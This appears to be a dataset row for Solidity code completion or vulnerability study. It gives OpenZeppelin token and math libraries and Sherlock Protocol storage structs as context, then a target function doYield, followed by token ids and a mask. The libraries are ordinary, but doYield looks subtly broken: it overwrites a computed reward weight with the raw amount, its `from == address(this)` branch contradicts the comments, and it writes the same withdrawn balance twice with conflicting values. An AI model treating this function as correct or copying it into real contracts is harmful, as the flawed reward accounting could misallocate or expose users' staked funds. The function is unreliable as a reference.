`spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '../interfaces/ILock.sol'; import '../interfaces/IStrategy.sol'; // TokenStorage library PoolStorage { bytes32 constant POOL_STORAGE_PREFIX = 'diamond.sherlock.pool.'; struct Base { address govPool; // Variable used to calculate the fee when activating the cooldown // Max value is type(uint32).max which creates a 100% fee on the withdrawal uint32 activateCooldownFee; // How much sherX is distributed to stakers of this token // The max value is type(uint16).max, which means 100% of the total SherX minted is allocated to this pool uint16 sherXWeight; // The last block the total amount of rewards were accrued. // Accrueing SherX increases the `unallocatedSherX` variable uint40 sherXLastAccrued; // Indicates if protocol are able to pay premiums with this token // If this value is true, the token is also included as underlying of the SherX bool premiums; // Protocol debt can only be settled at once for all the protocols at the same time // This variable is the block number the last time all the protocols debt was settled uint40 totalPremiumLastPaid; // // Staking // // Indicates if stakers can stake funds in the pool bool stakes; // Address of the lockToken. Representing stakes in this pool ILock lockToken; // The total amount staked by the stakers in this pool, including value of `firstMoneyOut` // if you exclude the `firstMoneyOut` from this value, you get the actual amount of tokens staked // This value is also excluding funds deposited in a strategy. uint256 stakeBalance; // All the withdrawals by an account // The values of the struct are all deleted if expiry() or unstake() function is called mapping(address => UnstakeEntry[]) unstakeEntries; // Represents the amount of tokens in the first money out pool uint256 firstMoneyOut; // If the `stakes` = true, the stakers can be rewarded by sherx // stakers can claim their rewards by calling the harvest() function // SherX could be minted before the stakers call the harvest() function // Minted SherX that is assigned as reward for the pool will be added to this value uint256 unallocatedSherX; // Non-native variables // These variables are used to calculate the right amount of SherX rewards for the token staked mapping(address => uint256) sWithdrawn; uint256 sWeight; // Storing the protocol token balance based on the protocols bytes32 indentifier mapping(bytes32 => uint256) protocolBalance; // Storing the protocol premium, the amount of debt the protocol builds up per block. // This is based on the bytes32 identifier of the protocol. mapping(bytes32 => uint256) protocolPremium; // The sum of all the protocol premiums, the total amount of debt that builds up in this token. (per block) uint256 totalPremiumPerBlock; // How much tokens are used as underlying for SherX uint256 sherXUnderlying; // Check if the protocol is included in the token pool // The protocol can deposit balances if this is the case mapping(bytes32 => bool) isProtocol; // Array of protocols that are registered in this pool bytes32[] protocols; // Active strategy for this token pool IStrategy strategy; } struct UnstakeEntry { // The block number the cooldown is activated uint40 blockInitiated; // The amount of lock tokens to be withdrawn uint256 lock; } function ps(IERC20 _token) internal pure returns (Base storage psx) { bytes32 position = keccak256(abi.encodePacked(POOL_STORAGE_PREFIX, _token)); assembly { psx.slot := position } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library SherXStorage { bytes32 constant SHERX_STORAGE_POSITION = keccak256('diamond.sherlock.x'); struct Base { mapping(IERC20 => uint256) tokenUSD; uint256 totalUsdPerBlock; uint256 totalUsdPool; uint256 totalUsdLastSettled; uint256 sherXPerBlock; uint256 internalTotalSupply; uint256 internalTotalSupplySettled; } function sx() internal pure returns (Base storage sxx) { bytes32 position = SHERX_STORAGE_POSITION; assembly { sxx.slot := position } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; interface IStrategy { function want() external view returns (ERC20); function withdrawAll() external returns (uint256); function withdraw(uint256 _amount) external; function deposit() external; function balanceOf() external view returns (uint256); function sweep(address _receiver, IERC20[] memory _extraTokens) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library GovStorage { bytes32 constant GOV_STORAGE_POSITION = keccak256('diamond.sherlock.gov'); struct Base { // The address appointed as the govMain entity address govMain; // NOTE: UNUSED mapping(bytes32 => address) protocolManagers; // Based on the protocol identifier, get the address of the protocol that is able the withdraw balances mapping(bytes32 => address) protocolAgents; // Check if the protocol is included in the solution at all mapping(bytes32 => bool) protocolIsCovered; // The array of tokens the accounts are able to stake in IERC20[] tokensStaker; // The array of tokens the protocol are able to pay premium in // These tokens will also be the underlying for SherX IERC20[] tokensSherX; // The address of the watsons, an account that can receive SherX rewards address watsonsAddress; // How much sherX is distributed to this account // The max value is type(uint16).max, which means 100% of the total SherX minted is allocated to this acocunt uint16 watsonsSherxWeight; // The last block the total amount of rewards were accrued. uint40 watsonsSherxLastAccrued; // Max amount of SherX token to be in the `tokensSherX` array uint8 maxTokensSherX; // Max amount of Staker token to be in the `tokensStaker` array uint8 maxTokensStaker; // Max amount of protocol to be in single pool uint8 maxProtocolPool; // The amount of blocks the cooldown period takes uint40 unstakeCooldown; // The amount of blocks for the window of opportunity of unstaking uint40 unstakeWindow; } function gs() internal pure returns (Base storage gsx) { bytes32 position = GOV_STORAGE_POSITION; assembly { gsx.slot := position } } }
@notice The `from` account could earn SHERX by holding `token` overtime, the earned amount will be staked. @param token The LockToken that could be eligble for SHERX rewards @param from The current account that is holding the tokens @param to The new account that will be holding the tokens @param amount The amount of tokens being transferred The LockToken represents a token staked in the solution. Verify if the right LockToken is used. Is `amount` instead of `userAmount` as the `ineligible_yield_amount` is 'transferred' to `to` store the data in a single calc The `withdrawable_amount` is allocated to `from`, subtract from `unallocatedSherX` add SherX harvested by the pool itself to first money out pool.
function doYield( ILock token, address from, address to, uint256 amount ) private { IERC20 underlying = token.underlying(); PoolStorage.Base storage ps = PoolStorage.ps(underlying); require(ps.lockToken == token, 'SENDER'); LibSherX.accrueSherX(underlying); uint256 userAmount = ps.lockToken.balanceOf(from); uint256 totalAmount = ps.lockToken.totalSupply(); uint256 ineligible_yield_amount; if (totalAmount != 0) { ineligible_yield_amount = ps.sWeight.mul(amount).div(totalAmount); ineligible_yield_amount = amount; } if (from != address(0)) { uint256 raw_amount = ps.sWeight.mul(userAmount).div(totalAmount); uint256 withdrawable_amount = raw_amount.sub(ps.sWithdrawn[from]); if (withdrawable_amount != 0) { ps.sWithdrawn[from] = raw_amount.sub(ineligible_yield_amount); ps.unallocatedSherX = ps.unallocatedSherX.sub(withdrawable_amount); PoolStorage.Base storage psSherX = PoolStorage.ps(IERC20(address(this))); if (from == address(this)) { psSherX.stakeBalance = psSherX.stakeBalance.add(withdrawable_amount); psSherX.firstMoneyOut = psSherX.firstMoneyOut.add(withdrawable_amount); LibPool.stake(psSherX, withdrawable_amount, from); } ps.sWithdrawn[from] = ps.sWithdrawn[from].sub(ineligible_yield_amount); } ps.sWeight = ps.sWeight.add(ineligible_yield_amount); } if (to != address(0)) { ps.sWithdrawn[to] = ps.sWithdrawn[to].add(ineligible_yield_amount); ps.sWeight = ps.sWeight.sub(ineligible_yield_amount); } }
1,374,929
[ 1, 1986, 1375, 2080, 68, 2236, 3377, 425, 1303, 348, 3891, 60, 635, 19918, 1375, 2316, 68, 1879, 957, 16, 326, 425, 1303, 329, 3844, 903, 506, 384, 9477, 18, 225, 1147, 1021, 3488, 1345, 716, 3377, 506, 415, 360, 7119, 364, 348, 3891, 60, 283, 6397, 225, 628, 1021, 783, 2236, 716, 353, 19918, 326, 2430, 225, 358, 1021, 394, 2236, 716, 903, 506, 19918, 326, 2430, 225, 3844, 1021, 3844, 434, 2430, 3832, 906, 4193, 1021, 3488, 1345, 8686, 279, 1147, 384, 9477, 316, 326, 6959, 18, 8553, 309, 326, 2145, 3488, 1345, 353, 1399, 18, 2585, 1375, 8949, 68, 3560, 434, 1375, 1355, 6275, 68, 487, 326, 1375, 12927, 16057, 67, 23604, 67, 8949, 68, 353, 296, 2338, 4193, 11, 358, 1375, 869, 68, 1707, 326, 501, 316, 279, 2202, 7029, 1021, 1375, 1918, 9446, 429, 67, 8949, 68, 353, 11977, 358, 1375, 2080, 9191, 10418, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
